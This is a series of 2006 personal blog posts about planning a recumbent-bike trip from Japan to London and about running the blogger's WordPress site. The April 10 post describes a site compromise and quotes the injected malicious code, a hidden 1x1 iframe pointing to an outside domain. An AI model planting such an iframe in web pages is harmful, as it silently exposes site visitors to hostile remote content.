May 28th, 2006 | categorizilation: all categories,planning/prep,vids,website
As expected, having my videos uploaded to my server has caused a big spike in bandwidth use. Currently this month’s bandwidth usage is 3.5GB compared with 250MB last month. My bandwidth limit is 5GB. Therefore considering that I only uploaded the videos halfway through this month, next month would definitely be suspect if I left the videos on my server.
I have fixed the issue by linking to the videos as they are on Google Video. This means that a new page opens up with the videos in their embedded state in Google Video, but I guess there is nothing better I can do at this stage, apart from buy more bandwidth, which I’m not too keen on doing.
Embedding the videos on my website is proving to be more of a headache than it’s worth, so I’m giving up at this point. I did have the VideoBlogger plugin working for a bit, but then the blog comments wouldn’t work…
May 27th, 2006 | categorizilation: all categories,planning/prep
Long time no post…
Just in case any readers feel like they need to brush up on their Japanese, here is my media briefing document (pdf 1.3MB)Â that I’ll be handing out to some local Japanese newspapers and TV stations either this week or the next. I hope to get some media interest so that I have some more omph when I come to approaching sponsors. With only 50 days left till departure, I’m starting to feel the pressure to get things moving. I don’t plan on approaching any places in my home country of New Zealand, so I doubt I’ll ever get around to writing up an English version of the briefing…
May 18th, 2006 | categorizilation: all categories,planning/prep,recumbent bike,vids,website
Another zoomy video for you. This one is of my daily commute to work. I live at about 10m above sea level, and work is at 350m. It’s a big hill, but after a few weeks it’s a no brainer. The total distance is 12km. These videos were shot on a small Sony Cybershot P-8 digital camera attached to an aluminium tube that is attached to my rear carrier. Makes for some interesting footage.
The editing was done on the Windows XP stock standard Windows MovieMaker. All you really need for simple wee vids. The videos have been uploaded to Google Videos, which means that all I need to do is copy and paste the embed code in my blog, and I can have the videos play on my website. This is great coz it means that not only do I not need to use up my webserver account space with videos, but it also means that there’s no chance of exceeding the bandwidth limit I have on this account (5GB).
Enjoy.
Update: It’s now 11pm, and I still haven’t got this google video embedding things worked out. For the meantime, I’ve just uploaded the video to my server, so it can be downloaded by clicking on this link (right-click and save as):
http://14degrees.org/videos/daily_slog.wmv
(3mins07sec - Windows Media – 42MB)
May 14th, 2006 | categorizilation: all categories,planning/prep,recumbent bike,website
Has been a busy weekend:
May 9th, 2006 | categorizilation: all categories,planning/prep,website
Added a new nifty feature to the top page today – Get Recent Comments. This is a plugin for WordPress. Very handy little plugin that gives me masses of display options such as length of comment excerpt, post time, comment date etc etc. You can see it in action at the bottom of the left-hand column of the top page of this website.
You can get your own Get Recent Comments plugin here: http://dev.wp-plugins.org/wiki/GetRecentComments
I had some trouble getting the user interface to work. I installed the plugin as instructed on the website, but when I went to Options/Get Recent Comments in the wordpress menu, the page came up with this error:
Fatal error: Cannot redeclare get_recent_comments() …
This is fixed by changing some code at the beginning of the get_recent_comments.php file.
The fix is outlined here: http://blog.jodies.de/archiv/2004/11/13/recent-comments/#comment-5228
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April 10th, 2006 | categorizilation: all categories,planning/prep,website
Everyday you learn something new…some frequent visitors to this site may have noticed that for the best part of a week, 14degrees.org was not online. This was due to what I assume was a kind of ‘hacking robot’.
One day I go to access the website, and I got a parse error, which meant that nothing on the site displayed at all. This is actually quite handy, because if my site had been all HTML, I may not have noticed that something was amiss. The reason I got the error is because this site is running on WordPress – a content management software. If any of the files are tampered with in WordPress, the whole thing just stops working.
So to cut a long story short, somehow a hacking program got a hold of my web hosting password and username, and added code into all my webpages. This is the code:
iframe marginwidth=”0″ marginheight=”0″ src=”http://196.regvista.com/index.php?ref=r22″ mce_src=”http://196.regvista.com/index.php?ref=r22″ width=”1″ height=”1″
When a page with this code is opened, crazy stuff happens. The page seems to keep re-loading. It seems as though it is an invisible ad banner than automatically ‘clicks’ repetitively? I dunno. I’m not up with the play with these things.
But anyway, I ended up deleting everything on my web hosting account, and re-installing wordpress (the rouge code was in everything). As you can see things are back to normal again. I’ve still got to clean up some stuff on the Japanese version of the site, but that shouldn’t take long.
The moral of the story is:
The hosting company that I have my website on includes many good features, one of them being a file uploading tool and file editor. I’ll be using this as much as possible in the future, so as to avoid any repeats of last week’s fiasco.
April 4th, 2006 | categorizilation: all categories,planning/prep
The second round of jabs went smoothly today. This time was:
The total cost for this session was 45,000yen (ouch). The culprit was the typhoid shot. There are no typhoid vaccine supplies within Japan, so it had to be imported especially. One shot 25,000yen.
The doc also wrote me a vaccination record. I’m not sure if I’m going to need to use it during my travels, but I’ll carry it just in case.
On another matter, with a little umming and ahhing, the doc agreed to give me some injection needles. Sterility in some hospitals in central Asia is still questionable, so it is best to carry your own sterile needles should you need to get jabbed. The doc also wrote me out a short letter approving my possesion of the needles. A letter such as this is important for border crossings, so as to not be taken for a dodgy individual.
April 2nd, 2006 | categorizilation: all categories,equipment,planning/prep,recumbent bike
The HPVelotechink Street Machine GTe comes with front and rear suspension as standard. I upgraded to the lighter Meks Carbon AC front shock and DT-Swiss rear airshock. While both shocks seem to be very high quality, the reality is that they are moving parts that are affected by water and dust. Therefore I’ve added shock boots (covers) to both the front and rear shocks.
Front shock
Rear shock
The front boot was especially tricky to get to fit correctly. I had to cut it to fit. The photo is of the nicely done side. The other side, which I did first, is a bit of a mess – but it should do the trick.
Hopefully these skinned lizards will help the suspension to last 12000km to London!
March 23rd, 2006 | categorizilation: all categories,planning/prep
I’ve thought it would be handy to have some cards to hand out to people when I tell them about my trip. Especially I wanted something with the website address on it. This is a design that I came up with over the last few days. The bike silhouette was traced on Macromedia Flash Basic.
Also on the drawing board is a letter-head. All just in the name of fun really. Mind you it’s nice to know that you have something that makes you look legit if I ever end up asking organisations for support.
March 17th, 2006 | categorizilation: all categories,planning/prep,website
The mish for the last day or so has been to include an RSS feed of my own blog to my own site. The feed is displayed on the home page, so that people can see the most recent blog entries, along with a short excerpt from them.
The thing that I am having trouble with at the moment is how to reduce the amount of words displayed in the excerpt. Does anyone reading this know how to do this? I’ve changed the excerpt length option in the WordPress admin to 20 already, but I’m still getting about 50 words.
‘Tis a mistery…
